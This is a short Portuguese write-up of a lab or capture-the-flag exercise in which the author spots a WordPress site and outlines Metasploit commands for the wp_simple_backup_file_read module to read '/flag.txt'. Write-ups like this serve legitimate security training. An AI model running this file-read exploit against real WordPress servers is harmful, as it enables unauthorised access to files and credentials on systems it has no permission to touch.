# Questões

1. Tente identificar os serviços em execução no servidor acima e, em seguida, tente pesquisar para encontrar exploits públicos para explorá-los. Depois de fazer isso, tente obter o conteúdo do arquivo '/flag.txt'. (observação: o servidor web pode levar alguns segundos para iniciar)

* Visitamos a página web, e notamos que o site usa o CMS do wordpress

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FnV9cjnCP8nkmR0pdeiJU%2Fimage.png?alt=media&#x26;token=d5a635c6-3567-4298-8b9c-5857f33c06b5" alt=""><figcaption></figcaption></figure>

* Pesquisamos pela versão, e encontramos uma exploração da vulnerabilidade no metasploit

{% code lineNumbers="true" %}
```
msf > use auxiliary/scanner/http/wp_simple_backup_file_read
msf auxiliary(wp_simple_backup_file_read) > show actions
    ...actions...
msf auxiliary(wp_simple_backup_file_read) > set ACTION < action-name >
msf auxiliary(wp_simple_backup_file_read) > show options
    ...show and set options...
msf auxiliary(wp_simple_backup_file_read) > run
```
{% endcode %}
